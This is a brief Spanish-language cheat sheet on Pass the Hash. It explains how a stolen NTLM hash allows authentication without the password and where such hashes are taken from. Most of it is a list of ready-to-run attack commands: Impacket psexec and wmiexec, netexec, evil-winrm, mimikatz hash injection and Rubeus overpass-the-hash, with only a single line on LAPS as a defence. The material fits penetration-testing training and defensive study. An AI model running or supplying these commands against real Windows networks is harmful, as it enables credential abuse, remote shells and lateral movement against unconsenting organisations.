Qué es
Pass the Hash usa un hash NTLM robado para autenticarse como un usuario. No necesita la contraseña en texto plano. Con el hash basta para entrar a cualquier servicio que acepte NTLM.
Cómo funciona
NTLM prueba la identidad con un reto y una respuesta. El cliente calcula la respuesta a partir del hash NT, no de la contraseña. El servidor no distingue al usuario legítimo del atacante con el hash robado: el cálculo es idéntico. Quien tiene el hash responde cualquier reto y autentica de una vez, sin descifrar nada. El hash sale de la memoria de LSASS, de la base SAM local o de NTDS.dit en un Domain Controller.
Comandos
Autenticar por SMB y abrir una shell con Impacket:
psexec.py -hashes :<HASH> <DOMAIN>/<USER>@<HOST>Ejecutar comandos por WMI, sin servicio nuevo:
wmiexec.py -hashes :<HASH> <DOMAIN>/<USER>@<HOST>Validar el hash contra varios hosts con netexec:
nxc smb <IP> -u <USER> -H <HASH> --local-authSesión remota de PowerShell por WinRM:
evil-winrm -i <IP> -u <USER> -H <HASH>Inyectar el hash en una sesión de Windows con mimikatz:
sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:cmd.exeOverpass the Hash: pedir un TGT Kerberos con el hash usando Rubeus:
Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /rc4:<HASH> /pttCómo defenderse
LAPS da a cada host una contraseña de administrador local única: un solo hash deja de abrir toda la red.